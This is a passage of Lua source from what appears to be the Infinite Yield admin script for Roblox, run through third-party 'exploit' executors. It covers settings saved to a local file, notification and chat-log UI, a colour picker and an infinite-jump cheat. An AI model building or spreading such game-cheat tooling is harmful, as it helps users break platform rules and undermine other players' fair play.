  2089. currentText2 = Color3.new(0, 0, 0)
  2090. currentScroll = Color3.fromRGB(78,78,79)
  2091.  
  2092. defaultsettings = {
  2093. prefix = ';';
  2094. StayOpen = false;
  2095. logsEnabled = false;
  2096. aliases = {};
  2097. binds = {};
  2098. spawnCmds = {};
  2099. WayPoints = {};
  2100. PluginsTable = {}
  2101. }
  2102.  
  2103. defaults = game:GetService("HttpService"):JSONEncode(defaultsettings)
  2104.  
  2105. nosaves = false
  2106.  
  2107. function saves()
  2108. if writefileExploit() then
  2109. if pcall(function() readfile("IY_FE.iy") end) then
  2110. if readfile("IY_FE.iy") ~= nil then
  2111. local json = game:GetService("HttpService"):JSONDecode(readfile("IY_FE.iy"))
  2112. if json.prefix ~= nil then prefix = json.prefix else prefix = ';' end
  2113. if json.StayOpen ~= nil then StayOpen = json.StayOpen else StayOpen = false end
  2114. if json.logsEnabled ~= nil then logsEnabled = json.logsEnabled else logsEnabled = false end
  2115. if json.aliases ~= nil then aliases = json.aliases else aliases = {} end
  2116. if json.binds ~= nil then binds = json.binds else binds = {} end
  2117. if json.spawnCmds ~= nil then spawnCmds = json.spawnCmds else spawnCmds = {} end
  2118. if json.WayPoints ~= nil then AllWaypoints = json.WayPoints else WayPoints = {} AllWaypoints = {} end
  2119. if json.PluginsTable ~= nil then PluginsTable = json.PluginsTable else PluginsTable = {} end
  2120. if json.currentShade1 ~= nil then currentShade1 = Color3.new(json.currentShade1[1],json.currentShade1[2],json.currentShade1[3]) end
  2121. if json.currentShade2 ~= nil then currentShade2 = Color3.new(json.currentShade2[1],json.currentShade2[2],json.currentShade2[3]) end
  2122. if json.currentShade3 ~= nil then currentShade3 = Color3.new(json.currentShade3[1],json.currentShade3[2],json.currentShade3[3]) end
  2123. if json.currentText1 ~= nil then currentText1 = Color3.new(json.currentText1[1],json.currentText1[2],json.currentText1[3]) end
  2124. if json.currentText2 ~= nil then currentText2 = Color3.new(json.currentText2[1],json.currentText2[2],json.currentText2[3]) end
  2125. if json.currentScroll ~= nil then currentScroll = Color3.new(json.currentScroll[1],json.currentScroll[2],json.currentScroll[3]) end
  2126. else
  2127. writefileCooldown("IY_FE.iy", defaults)
  2128. wait()
  2129. saves()
  2130. end
  2131. else
  2132. writefileCooldown("IY_FE.iy", defaults)
  2133. wait()
  2134. if pcall(function() readfile("IY_FE.iy") end) then
  2135. saves()
  2136. else
  2137. nosaves = true
  2138. prefix = ';'
  2139. StayOpen = false
  2140. logsEnabled = false
  2141. aliases = {}
  2142. binds = {}
  2143. spawnCmds = {}
  2144. WayPoints = {}
  2145. PluginsTable = {}
  2146.  
  2147. local FileError = Instance.new("Frame")
  2148. local background = Instance.new("Frame")
  2149. local Directions = Instance.new("TextLabel")
  2150. local shadow = Instance.new("Frame")
  2151. local PopupText = Instance.new("TextLabel")
  2152. local Exit = Instance.new("ImageButton")
  2153.  
  2154. FileError.Name = randomString()
  2155. FileError.Parent = PARENT
  2156. FileError.Active = true
  2157. FileError.BackgroundTransparency = 1
  2158. FileError.Position = UDim2.new(0.5, -180, 0, 290)
  2159. FileError.Size = UDim2.new(0, 360, 0, 20)
  2160. FileError.ZIndex = 10
  2161.  
  2162. background.Name = "background"
  2163. background.Parent = FileError
  2164. background.Active = true
  2165. background.BackgroundColor3 = Color3.fromRGB(36, 36, 37)
  2166. background.BorderSizePixel = 0
  2167. background.Position = UDim2.new(0, 0, 0, 20)
  2168. background.Size = UDim2.new(0, 360, 0, 205)
  2169. background.ZIndex = 10
  2170.  
  2171. Directions.Name = "Directions"
  2172. Directions.Parent = background
  2173. Directions.BackgroundTransparency = 1
  2174. Directions.BorderSizePixel = 0
  2175. Directions.Position = UDim2.new(0, 10, 0, 10)
  2176. Directions.Size = UDim2.new(0, 340, 0, 185)
  2177. Directions.Font = Enum.Font.SourceSans
  2178. Directions.TextSize = 14
  2179. Directions.Text = "There was a problem writing a save file to your PC.\n\nPlease contact the developer/support team for your exploit and tell them writefile is not working.\n\nYour settings, keybinds, waypoints, and aliases will not save if you continue.\n\nThings to try:\n> Make sure a 'workspace' folder is located in the same folder as your exploit\n> If your exploit is inside of a zip/rar file, extract it.\n> Rejoin the game and try again or restart your PC and try again."
  2180. Directions.TextColor3 = Color3.new(1, 1, 1)
  2181. Directions.TextWrapped = true
  2182. Directions.TextXAlignment = Enum.TextXAlignment.Left
  2183. Directions.TextYAlignment = Enum.TextYAlignment.Top
  2184. Directions.ZIndex = 10
  2185.  
  2186. shadow.Name = "shadow"
  2187. shadow.Parent = FileError
  2188. shadow.BackgroundColor3 = Color3.fromRGB(46, 46, 47)
  2189. shadow.BorderSizePixel = 0
  2190. shadow.Size = UDim2.new(0, 360, 0, 20)
  2191. shadow.ZIndex = 10
  2192.  
  2193. PopupText.Name = "PopupText"
  2194. PopupText.Parent = shadow
  2195. PopupText.BackgroundTransparency = 1
  2196. PopupText.Position = UDim2.new(0, 51, 0, 0)
  2197. PopupText.Size = UDim2.new(0.760355055, -16, 0.949999988, 0)
  2198. PopupText.ZIndex = 10
  2199. PopupText.Font = Enum.Font.SourceSans
  2200. PopupText.TextSize = 14
  2201. PopupText.Text = "File Error"
  2202. PopupText.TextColor3 = Color3.new(1, 1, 1)
  2203. PopupText.TextWrapped = true
  2204.  
  2205. Exit.Name = "Exit"
  2206. Exit.Parent = shadow
  2207. Exit.BackgroundTransparency = 1
  2208. Exit.Size = UDim2.new(0, 20, 0, 20)
  2209. Exit.ZIndex = 10
  2210. Exit.Image = "rbxassetid://2132544126"
  2211.  
  2212. Exit.MouseButton1Click:Connect(function()
  2213. FileError:Destroy()
  2214. end)
  2215. end
  2216. end
  2217. else
  2218. prefix = ';'
  2219. StayOpen = false
  2220. logsEnabled = false
  2221. aliases = {}
  2222. binds = {}
  2223. spawnCmds = {}
  2224. WayPoints = {}
  2225. PluginsTable = {}
  2226. end
  2227. end
  2228.  
  2229. saves()
  2230.  
  2231. function updatesaves()
  2232. if nosaves == false and writefileExploit() then
  2233. local update = {
  2234. prefix = prefix;
  2235. StayOpen = StayOpen;
  2236. logsEnabled = logsEnabled;
  2237. aliases = aliases;
  2238. binds = binds;
  2239. spawnCmds = spawnCmds;
  2240. WayPoints = AllWaypoints;
  2241. PluginsTable = PluginsTable;
  2242. currentShade1 = {currentShade1.R,currentShade1.G,currentShade1.B};
  2243. currentShade2 = {currentShade2.R,currentShade2.G,currentShade2.B};
  2244. currentShade3 = {currentShade3.R,currentShade3.G,currentShade3.B};
  2245. currentText1 = {currentText1.R,currentText1.G,currentText1.B};
  2246. currentText2 = {currentText2.R,currentText2.G,currentText2.B};
  2247. currentScroll = {currentScroll.R,currentScroll.G,currentScroll.B}
  2248. }
  2249. writefileCooldown("IY_FE.iy", game:GetService("HttpService"):JSONEncode(update))
  2250. end
  2251. end
  2252.  
  2253. pWayPoints = {}
  2254. WayPoints = {}
  2255.  
  2256. if #AllWaypoints > 0 then
  2257. for i = 1, #AllWaypoints do
  2258. if not AllWaypoints[i].GAME or AllWaypoints[i].GAME == game.PlaceId then
  2259. WayPoints[#WayPoints + 1] = {NAME = AllWaypoints[i].NAME, COORD = {AllWaypoints[i].COORD[1], AllWaypoints[i].COORD[2], AllWaypoints[i].COORD[3]}, GAME = AllWaypoints[i].GAME}
  2260. end
  2261. end
  2262. end
  2263.  
  2264. function Time()
  2265. local HOUR = math.floor((tick() % 86400) / 3600)
  2266. local MINUTE = math.floor((tick() % 3600) / 60)
  2267. local SECOND = math.floor(tick() % 60)
  2268. local AP = HOUR > 11 and 'PM' or 'AM'
  2269. HOUR = (HOUR % 12 == 0 and 12 or HOUR % 12)
  2270. HOUR = HOUR < 10 and '0' .. HOUR or HOUR
  2271. MINUTE = MINUTE < 10 and '0' .. MINUTE or MINUTE
  2272. SECOND = SECOND < 10 and '0' .. SECOND or SECOND
  2273. return HOUR .. ':' .. MINUTE .. ':' .. SECOND .. ' ' .. AP
  2274. end
  2275.  
  2276. UserInputService = game:GetService("UserInputService")
  2277. IYMouse = Players.LocalPlayer:GetMouse()
  2278. PrefixBox.Text = prefix
  2279. SettingsOpen = false
  2280.  
  2281. if StayOpen == false then
  2282. Holder.Settings.StayOpen.Button.On.BackgroundTransparency = 1
  2283. else
  2284. Holder.Settings.StayOpen.Button.On.BackgroundTransparency = 0
  2285. end
  2286.  
  2287. if logsEnabled then
  2288. Toggle.Text = 'Enabled'
  2289. else
  2290. Toggle.Text = 'Disabled'
  2291. end
  2292.  
  2293. function maximizeHolder()
  2294. if StayOpen == false then
  2295. Holder:TweenPosition(UDim2.new(1, Holder.Position.X.Offset, 1, -220), "InOut", "Quart", 0.2, true, nil)
  2296. end
  2297. end
  2298.  
  2299. function minimizeHolder()
  2300. if StayOpen == false then
  2301. Holder:TweenPosition(UDim2.new(1, Holder.Position.X.Offset, 1, -20), "InOut", "Quart", 0.5, true, nil)
  2302. end
  2303. end
  2304.  
  2305. function cmdbarHolder()
  2306. if StayOpen == false then
  2307. Holder:TweenPosition(UDim2.new(1, Holder.Position.X.Offset, 1, -45), "InOut", "Quart", 0.5, true, nil)
  2308. end
  2309. end
  2310.  
  2311. function enablebuttons()
  2312. Settings.Aliases.Select.Visible = true
  2313. Settings.SpawnC.Select.Visible = true
  2314. Settings.Keybinds.Select.Visible = true
  2315. Settings.StayOpen.Button.On.Visible = true
  2316. Settings.Prefix.PrefixBox.Visible = true
  2317. Settings.Positions.Select.Visible = true
  2318. Settings.Plugins.Select.Visible = true
  2319. end
  2320.  
  2321. function disablebuttons()
  2322. Settings.Aliases.Select.Visible = false
  2323. Settings.SpawnC.Select.Visible = false
  2324. Settings.Keybinds.Select.Visible = false
  2325. Settings.StayOpen.Button.On.Visible = false
  2326. Settings.Prefix.PrefixBox.Visible = false
  2327. Settings.Positions.Select.Visible = false
  2328. Settings.Plugins.Select.Visible = false
  2329. end
  2330.  
  2331. notifyCount = 0
  2332. pinNotification = nil
  2333. function notify(text,text2,length)
  2334. spawn(function()
  2335. local LnotifyCount = notifyCount+1
  2336. local notificationPinned = false
  2337. notifyCount = notifyCount+1
  2338. if pinNotification then pinNotification:Disconnect() end
  2339. pinNotification = Notification.MouseEnter:Connect(function()
  2340. spawn(function()
  2341. pinNotification:Disconnect()
  2342. notificationPinned = true
  2343. Notification.Title.BackgroundTransparency = 1
  2344. wait(0.5)
  2345. Notification.Title.BackgroundTransparency = 0
  2346. end)
  2347. end)
  2348. Notification:TweenPosition(UDim2.new(1, Notification.Position.X.Offset, 1, 0), "InOut", "Quart", 0.5, true, nil)
  2349. wait(0.6)
  2350. local closepressed = false
  2351. if text2 then
  2352. Notification.Title.Text = text
  2353. Notification.Text.Text = text2
  2354. else
  2355. Notification.Title.Text = 'Notification'
  2356. Notification.Text.Text = text
  2357. end
  2358. Notification:TweenPosition(UDim2.new(1, Notification.Position.X.Offset, 1, -100), "InOut", "Quart", 0.5, true, nil)
  2359. Notification.CloseButton.MouseButton1Click:Connect(function()
  2360. Notification:TweenPosition(UDim2.new(1, Notification.Position.X.Offset, 1, 0), "InOut", "Quart", 0.5, true, nil)
  2361. closepressed = true
  2362. pinNotification:Disconnect()
  2363. end)
  2364. if length and isNumber(length) then
  2365. wait(length)
  2366. else
  2367. wait(10)
  2368. end
  2369. if LnotifyCount == notifyCount then
  2370. if closepressed == false and notificationPinned == false then
  2371. pinNotification:Disconnect()
  2372. Notification:TweenPosition(UDim2.new(1, Notification.Position.X.Offset, 1, 0), "InOut", "Quart", 0.5, true, nil)
  2373. end
  2374. notifyCount = 0
  2375. end
  2376. end)
  2377. end
  2378.  
  2379. lastMessage = nil
  2380. lastLabel = nil
  2381. dupeCount = 1
  2382. function CreateLabel(Name, Text)
  2383. if lastMessage == Name..Text then
  2384. dupeCount = dupeCount+1
  2385. lastLabel.Text = Time()..' - ['..Name..']: '..Text..' (x'..dupeCount..')'
  2386. else
  2387. if dupeCount > 1 then dupeCount = 1 end
  2388. if #scrollCL:GetChildren() >= 2546 then
  2389. scrollCL:ClearAllChildren()
  2390. end
  2391. local alls = 0
  2392. for i,v in pairs(scrollCL:GetChildren()) do
  2393. if v then
  2394. alls = v.Size.Y.Offset + alls
  2395. end
  2396. if not v then
  2397. alls = 0
  2398. end
  2399. end
  2400. local tl = Instance.new('TextLabel', scrollCL)
  2401. local il = Instance.new('Frame', tl)
  2402. lastMessage = Name..Text
  2403. lastLabel = tl
  2404. tl.Name = Name
  2405. tl.ZIndex = 10
  2406. tl.Text = Time().." - ["..Name.."]: "..Text
  2407. tl.Size = UDim2.new(0,322,0,84)
  2408. tl.BackgroundTransparency = 1
  2409. tl.BorderSizePixel = 0
  2410. tl.Font = "SourceSans"
  2411. tl.Position = UDim2.new(-1,0,0,alls)
  2412. tl.TextTransparency = 1
  2413. tl.TextScaled = false
  2414. tl.TextSize = 14
  2415. tl.TextWrapped = true
  2416. tl.TextXAlignment = "Left"
  2417. tl.TextYAlignment = "Top"
  2418. il.BackgroundTransparency = 1
  2419. il.BorderSizePixel = 0
  2420. il.Size = UDim2.new(0,12,1,0)
  2421. il.Position = UDim2.new(0,316,0,0)
  2422. il.ZIndex = 10
  2423. tl.TextColor3 = currentText1
  2424. tl.Size = UDim2.new(0,322,0,tl.TextBounds.Y)
  2425. table.insert(text1,tl)
  2426. scrollCL.CanvasSize = UDim2.new(0,0,0,alls+tl.TextBounds.Y)
  2427. scrollCL.CanvasPosition = Vector2.new(0,scrollCL.CanvasPosition.Y+tl.TextBounds.Y)
  2428. tl:TweenPosition(UDim2.new(0,3,0,alls), 'In', 'Quint', 0.5)
  2429. for i = 0,50 do wait(0.05)
  2430. tl.TextTransparency = tl.TextTransparency - 0.05
  2431. end
  2432. tl.TextTransparency = 0
  2433. end
  2434. end
  2435.  
  2436. infJump = false
  2437. IYMouse.KeyDown:connect(function(Key)
  2438. if (Key==prefix) then
  2439. Cmdbar:CaptureFocus()
  2440. spawn(function()
  2441. repeat Cmdbar.Text = '' until Cmdbar.Text == ''
  2442. end)
  2443. maximizeHolder()
  2444. elseif infJump == true and Key == " " then
  2445. Players.LocalPlayer.Character.Humanoid:ChangeState(3)
  2446. end
  2447. end)
  2448.  
  2449. Holder.MouseEnter:Connect(function()
  2450. maximizeHolder()
  2451. end)
  2452.  
  2453. Holder.MouseLeave:Connect(function()
  2454. if not Cmdbar:IsFocused() then
  2455. minimizeHolder()
  2456. end
  2457. end)
  2458.  
  2459. function updateColors(color,ctype)
  2460. if ctype == shade1 then
  2461. for i,v in pairs(shade1) do
  2462. v.BackgroundColor3 = color
  2463. end
  2464. currentShade1 = color
  2465. elseif ctype == shade2 then
  2466. for i,v in pairs(shade2) do
  2467. v.BackgroundColor3 = color
  2468. end
  2469. currentShade2 = color
  2470. elseif ctype == shade3 then
  2471. for i,v in pairs(shade3) do
  2472. v.BackgroundColor3 = color
  2473. end
  2474. currentShade3 = color
  2475. elseif ctype == text1 then
  2476. for i,v in pairs(text1) do
  2477. v.TextColor3 = color
  2478. end
  2479. currentText1 = color
  2480. elseif ctype == text2 then
  2481. for i,v in pairs(text2) do
  2482. v.TextColor3 = color
  2483. end
  2484. currentText2 = color
  2485. elseif ctype == scroll then
  2486. for i,v in pairs(scroll) do
  2487. v.ScrollBarImageColor3 = color
  2488. end
  2489. currentScroll = color
  2490. end
  2491. end
  2492.  
  2493. colorpickerOpen = false
  2494. ColorsButton.MouseButton1Click:Connect(function()
  2495. cache_currentShade1 = currentShade1
  2496. cache_currentShade2 = currentShade2
  2497. cache_currentShade3 = currentShade3
  2498. cache_currentText1 = currentText1
  2499. cache_currentText2 = currentText2
  2500. cache_currentScroll = currentScroll
  2501. if not colorpickerOpen then
  2502. colorpickerOpen = true
  2503. picker = game:GetObjects("rbxassetid://4908465318")[1]
  2504. picker.Name = randomString()
  2505. picker.Parent = PARENT
  2506.  
  2507. local ColorPicker do
  2508. ColorPicker = {}
  2509.  
  2510. ColorPicker.new = function()
  2511. local newMt = setmetatable({},{})
  2512.  
  2513. local pickerGui = picker.ColorPicker
  2514. local pickerTopBar = pickerGui.TopBar
  2515. local pickerExit = pickerTopBar.Exit
  2516. local pickerFrame = pickerGui.Content
  2517. local colorSpace = pickerFrame.ColorSpaceFrame.ColorSpace
  2518. local colorStrip = pickerFrame.ColorStrip
  2519. local previewFrame = pickerFrame.Preview
  2520. local basicColorsFrame = pickerFrame.BasicColors
  2521. local customColorsFrame = pickerFrame.CustomColors
  2522. local defaultButton = pickerFrame.Default
  2523. local cancelButton = pickerFrame.Cancel
  2524. local shade1Button = pickerFrame.Shade1
  2525. local shade2Button = pickerFrame.Shade2
  2526. local shade3Button = pickerFrame.Shade3
  2527. local text1Button = pickerFrame.Text1
  2528. local text2Button = pickerFrame.Text2
  2529. local scrollButton = pickerFrame.Scroll
  2530.  
  2531. local colorScope = colorSpace.Scope
  2532. local colorArrow = pickerFrame.ArrowFrame.Arrow
  2533.  
  2534. local hueInput = pickerFrame.Hue.Input
  2535. local satInput = pickerFrame.Sat.Input
  2536. local valInput = pickerFrame.Val.Input
  2537.  
  2538. local redInput = pickerFrame.Red.Input
  2539. local greenInput = pickerFrame.Green.Input
  2540. local blueInput = pickerFrame.Blue.Input
  2541.  
  2542. local mouse = game:GetService("Players").LocalPlayer:GetMouse()
  2543.  
  2544. local hue,sat,val = 0,0,1
  2545. local red,green,blue = 1,1,1
  2546. local chosenColor = Color3.new(0,0,0)
  2547.  
  2548. local basicColors = {Color3.new(0,0,0),Color3.new(0.66666668653488,0,0),Color3.new(0,0.33333334326744,0),Color3.new(0.66666668653488,0.33333334326744,0),Color3.new(0,0.66666668653488,0),Color3.new(0.66666668653488,0.66666668653488,0),Color3.new(0,1,0),Color3.new(0.66666668653488,1,0),Color3.new(0,0,0.49803924560547),Color3.new(0.66666668653488,0,0.49803924560547),Color3.new(0,0.33333334326744,0.49803924560547),Color3.new(0.66666668653488,0.33333334326744,0.49803924560547),Color3.new(0,0.66666668653488,0.49803924560547),Color3.new(0.66666668653488,0.66666668653488,0.49803924560547),Color3.new(0,1,0.49803924560547),Color3.new(0.66666668653488,1,0.49803924560547),Color3.new(0,0,1),Color3.new(0.66666668653488,0,1),Color3.new(0,0.33333334326744,1),Color3.new(0.66666668653488,0.33333334326744,1),Color3.new(0,0.66666668653488,1),Color3.new(0.66666668653488,0.66666668653488,1),Color3.new(0,1,1),Color3.new(0.66666668653488,1,1),Color3.new(0.33333334326744,0,0),Color3.new(1,0,0),Color3.new(0.33333334326744,0.33333334326744,0),Color3.new(1,0.33333334326744,0),Color3.new(0.33333334326744,0.66666668653488,0),Color3.new(1,0.66666668653488,0),Color3.new(0.33333334326744,1,0),Color3.new(1,1,0),Color3.new(0.33333334326744,0,0.49803924560547),Color3.new(1,0,0.49803924560547),Color3.new(0.33333334326744,0.33333334326744,0.49803924560547),Color3.new(1,0.33333334326744,0.49803924560547),Color3.new(0.33333334326744,0.66666668653488,0.49803924560547),Color3.new(1,0.66666668653488,0.49803924560547),Color3.new(0.33333334326744,1,0.49803924560547),Color3.new(1,1,0.49803924560547),Color3.new(0.33333334326744,0,1),Color3.new(1,0,1),Color3.new(0.33333334326744,0.33333334326744,1),Color3.new(1,0.33333334326744,1),Color3.new(0.33333334326744,0.66666668653488,1),Color3.new(1,0.66666668653488,1),Color3.new(0.33333334326744,1,1),Color3.new(1,1,1)}
  2549. local customColors = {}
  2550.  
  2551. dragGUI(picker)
  2552.  
  2553. local function updateColor(noupdate)
  2554. local relativeX,relativeY,relativeStripY = 219 - hue*219, 199 - sat*199, 199 - val*199
  2555. local hsvColor = Color3.fromHSV(hue,sat,val)
  2556.  
  2557. if noupdate == 2 or not noupdate then
  2558. hueInput.Text = tostring(math.ceil(359*hue))
  2559. satInput.Text = tostring(math.ceil(255*sat))
  2560. valInput.Text = tostring(math.floor(255*val))
  2561. end
  2562. if noupdate == 1 or not noupdate then
  2563. redInput.Text = tostring(math.floor(255*red))
  2564. greenInput.Text = tostring(math.floor(255*green))
  2565. blueInput.Text = tostring(math.floor(255*blue))
  2566. end
  2567.  
  2568. chosenColor = Color3.new(red,green,blue)
  2569.  
  2570. colorScope.Position = UDim2.new(0,relativeX-9,0,relativeY-9)
  2571. colorStrip.ImageColor3 = Color3.fromHSV(hue,sat,1)
  2572. colorArrow.Position = UDim2.new(0,-2,0,relativeStripY-4)
  2573. previewFrame.BackgroundColor3 = chosenColor
  2574.  
  2575. newMt.Color = chosenColor
  2576. if newMt.Changed then newMt:Changed(chosenColor) end
  2577. end
  2578.  
  2579. local function colorSpaceInput()
  2580. local relativeX = mouse.X - colorSpace.AbsolutePosition.X
  2581. local relativeY = mouse.Y - colorSpace.AbsolutePosition.Y
  2582.  
  2583. if relativeX < 0 then relativeX = 0 elseif relativeX > 219 then relativeX = 219 end
  2584. if relativeY < 0 then relativeY = 0 elseif relativeY > 199 then relativeY = 199 end
  2585.  
  2586. hue = (219 - relativeX)/219
  2587. sat = (199 - relativeY)/199
  2588.  
  2589. local hsvColor = Color3.fromHSV(hue,sat,val)
  2590. red,green,blue = hsvColor.r,hsvColor.g,hsvColor.b
  2591.  
  2592. updateColor()
  2593. end
  2594.  
  2595. local function colorStripInput()
  2596. local relativeY = mouse.Y - colorStrip.AbsolutePosition.Y
  2597.  
  2598. if relativeY < 0 then relativeY = 0 elseif relativeY > 199 then relativeY = 199 end
  2599.  
  2600. val = (199 - relativeY)/199
  2601.  
  2602. local hsvColor = Color3.fromHSV(hue,sat,val)
  2603. red,green,blue = hsvColor.r,hsvColor.g,hsvColor.b
  2604.  
  2605. updateColor()
  2606. end
  2607.  
  2608. local function hookButtons(frame,func)
  2609. frame.ArrowFrame.Up.InputBegan:Connect(function(input)
  2610. if input.UserInputType == Enum.UserInputType.MouseMovement then
  2611. frame.ArrowFrame.Up.BackgroundTransparency = 0.5
  2612. elseif input.UserInputType == Enum.UserInputType.MouseButton1 then
  2613. local releaseEvent,runEvent
  2614.  
  2615. local startTime = tick()
  2616. local pressing = true
  2617. local startNum = tonumber(frame.Text)
  2618.  
  2619. if not startNum then return end
  2620.  
  2621. releaseEvent = UserInputService.InputEnded:Connect(function(input)
  2622. if input.UserInputType ~= Enum.UserInputType.MouseButton1 then return end
  2623. releaseEvent:Disconnect()
  2624. pressing = false
  2625. end)
  2626.  
  2627. startNum = startNum + 1
  2628. func(startNum)
  2629. while pressing do
  2630. if tick()-startTime > 0.3 then
  2631. startNum = startNum + 1
  2632. func(startNum)
  2633. end
  2634. wait(0.1)
  2635. end
  2636. end
  2637. end)
  2638.  
  2639. frame.ArrowFrame.Up.InputEnded:Connect(function(input)
  2640. if input.UserInputType == Enum.UserInputType.MouseMovement then
  2641. frame.ArrowFrame.Up.BackgroundTransparency = 1
  2642. end
  2643. end)
  2644.  
  2645. frame.ArrowFrame.Down.InputBegan:Connect(function(input)
  2646. if input.UserInputType == Enum.UserInputType.MouseMovement then
  2647. frame.ArrowFrame.Down.BackgroundTransparency = 0.5
  2648. elseif input.UserInputType == Enum.UserInputType.MouseButton1 then
  2649. local releaseEvent,runEvent
  2650.  
  2651. local startTime = tick()
  2652. local pressing = true
  2653. local startNum = tonumber(frame.Text)
  2654.  
  2655. if not startNum then return end
  2656.  
  2657. releaseEvent = UserInputService.InputEnded:Connect(function(input)
  2658. if input.UserInputType ~= Enum.UserInputType.MouseButton1 then return end
  2659. releaseEvent:Disconnect()
  2660. pressing = false
  2661. end)
  2662.  
  2663. startNum = startNum - 1
  2664. func(startNum)
  2665. while pressing do
  2666. if tick()-startTime > 0.3 then
  2667. startNum = startNum - 1
  2668. func(startNum)
  2669. end
  2670. wait(0.1)
  2671. end
  2672. end
  2673. end)
  2674.  
  2675. frame.ArrowFrame.Down.InputEnded:Connect(function(input)
  2676. if input.UserInputType == Enum.UserInputType.MouseMovement then
  2677. frame.ArrowFrame.Down.BackgroundTransparency = 1
  2678. end
  2679. end)
  2680. end
  2681.  
  2682. colorSpace.InputBegan:Connect(function(input)
  2683. if input.UserInputType == Enum.UserInputType.MouseButton1 then
  2684. local releaseEvent,mouseEvent
  2685.  
  2686. releaseEvent = UserInputService.InputEnded:Connect(function(input)
  2687. if input.UserInputType ~= Enum.UserInputType.MouseButton1 then return end
  2688. releaseEvent:Disconnect()
  2689. mouseEvent:Disconnect()
  2690. end)
  2691.  
  2692. mouseEvent = UserInputService.InputChanged:Connect(function(input)
  2693. if input.UserInputType == Enum.UserInputType.MouseMovement then
  2694. colorSpaceInput()
  2695. end
  2696. end)
  2697.  
  2698. colorSpaceInput()
  2699. end
  2700. end)
  2701.  
  2702. colorStrip.InputBegan:Connect(function(input)
  2703. if input.UserInputType == Enum.UserInputType.MouseButton1 then
  2704. local releaseEvent,mouseEvent
  2705.  
  2706. releaseEvent = UserInputService.InputEnded:Connect(function(input)
  2707. if input.UserInputType ~= Enum.UserInputType.MouseButton1 then return end
  2708. releaseEvent:Disconnect()
  2709. mouseEvent:Disconnect()
  2710. end)
  2711.  
  2712. mouseEvent = UserInputService.InputChanged:Connect(function(input)
  2713. if input.UserInputType == Enum.UserInputType.MouseMovement then
  2714. colorStripInput()
  2715. end
  2716. end)
  2717.  
  2718. colorStripInput()
  2719. end
  2720. end)
  2721.  
  2722. local function updateHue(str)
  2723. local num = tonumber(str)
  2724. if num then
  2725. hue = math.clamp(math.floor(num),0,359)/359
  2726. local hsvColor = Color3.fromHSV(hue,sat,val)
  2727. red,green,blue = hsvColor.r,hsvColor.g,hsvColor.b
  2728. hueInput.Text = tostring(hue*359)
  2729. updateColor(1)
  2730. end
  2731. end
  2732. hueInput.FocusLost:Connect(function() updateHue(hueInput.Text) end) hookButtons(hueInput,updateHue)
  2733.  
  2734. local function updateSat(str)
  2735. local num = tonumber(str)
  2736. if num then
  2737. sat = math.clamp(math.floor(num),0,255)/255
  2738. local hsvColor = Color3.fromHSV(hue,sat,val)
  2739. red,green,blue = hsvColor.r,hsvColor.g,hsvColor.b
  2740. satInput.Text = tostring(sat*255)
  2741. updateColor(1)
  2742. end
  2743. end
  2744. satInput.FocusLost:Connect(function() updateSat(satInput.Text) end) hookButtons(satInput,updateSat)
  2745.  
  2746. local function updateVal(str)
  2747. local num = tonumber(str)
  2748. if num then
  2749. val = math.clamp(math.floor(num),0,255)/255
  2750. local hsvColor = Color3.fromHSV(hue,sat,val)
  2751. red,green,blue = hsvColor.r,hsvColor.g,hsvColor.b
  2752. valInput.Text = tostring(val*255)
  2753. updateColor(1)
  2754. end
  2755. end
  2756. valInput.FocusLost:Connect(function() updateVal(valInput.Text) end) hookButtons(valInput,updateVal)
  2757.  
  2758. local function updateRed(str)
  2759. local num = tonumber(str)
  2760. if num then
  2761. red = math.clamp(math.floor(num),0,255)/255
  2762. local newColor = Color3.new(red,green,blue)
  2763. hue,sat,val = Color3.toHSV(newColor)
  2764. redInput.Text = tostring(red*255)
  2765. updateColor(2)
  2766. end
  2767. end
  2768. redInput.FocusLost:Connect(function() updateRed(redInput.Text) end) hookButtons(redInput,updateRed)
  2769.  
  2770. local function updateGreen(str)
  2771. local num = tonumber(str)
  2772. if num then
  2773. green = math.clamp(math.floor(num),0,255)/255
  2774. local newColor = Color3.new(red,green,blue)
  2775. hue,sat,val = Color3.toHSV(newColor)
  2776. greenInput.Text = tostring(green*255)
  2777. updateColor(2)
  2778. end
  2779. end
  2780. greenInput.FocusLost:Connect(function() updateGreen(greenInput.Text) end) hookButtons(greenInput,updateGreen)
  2781.  
  2782. local function updateBlue(str)
  2783. local num = tonumber(str)
  2784. if num then
  2785. blue = math.clamp(math.floor(num),0,255)/255
  2786. local newColor = Color3.new(red,green,blue)
  2787. hue,sat,val = Color3.toHSV(newColor)
  2788. blueInput.Text = tostring(blue*255)
  2789. updateColor(2)
  2790. end
  2791. end
  2792. blueInput.FocusLost:Connect(function() updateBlue(blueInput.Text) end) hookButtons(blueInput,updateBlue)
  2793.  
  2794. local colorChoice = Instance.new("TextButton")
  2795. colorChoice.Name = "Choice"
  2796. colorChoice.Size = UDim2.new(0,25,0,18)
  2797. colorChoice.BorderColor3 = Color3.new(96/255,96/255,96/255)
  2798. colorChoice.Text = ""
  2799. colorChoice.AutoButtonColor = false
  2800. colorChoice.ZIndex = 10
  2801.  
  2802. local row = 0
  2803. local column = 0
  2804. for i,v in pairs(basicColors) do
  2805. local newColor = colorChoice:Clone()
  2806. newColor.BackgroundColor3 = v
  2807. newColor.Position = UDim2.new(0,1 + 30*column,0,21 + 23*row)
  2808.  
  2809. newColor.MouseButton1Click:Connect(function()
  2810. red,green,blue = v.r,v.g,v.b
  2811. local newColor = Color3.new(red,green,blue)
  2812. hue,sat,val = Color3.toHSV(newColor)
  2813. updateColor()
  2814. end)
  2815.  
  2816. newColor.Parent = basicColorsFrame
  2817. column = column + 1
  2818. if column == 6 then row = row + 1 column = 0 end
  2819. end
  2820.  
  2821. row = 0
  2822. column = 0
  2823. for i = 1,12 do
  2824. local color = customColors[i] or Color3.new(0,0,0)
  2825. local newColor = colorChoice:Clone()
  2826. newColor.BackgroundColor3 = color
  2827. newColor.Position = UDim2.new(0,1 + 30*column,0,20 + 23*row)
  2828.  
  2829. newColor.MouseButton1Click:Connect(function()
  2830. local curColor = customColors[i] or Color3.new(0,0,0)
  2831. red,green,blue = curColor.r,curColor.g,curColor.b
  2832. hue,sat,val = Color3.toHSV(curColor)
  2833. updateColor()
  2834. end)
  2835.  
  2836. newColor.MouseButton2Click:Connect(function()
  2837. customColors[i] = chosenColor
  2838. newColor.BackgroundColor3 = chosenColor
  2839. end)
  2840.  
  2841. newColor.Parent = customColorsFrame
  2842. column = column + 1
  2843. if column == 6 then row = row + 1 column = 0 end
  2844. end
  2845.  
  2846. shade1Button.MouseButton1Click:Connect(function() if newMt.Confirm then newMt:Confirm(chosenColor,shade1) end end)
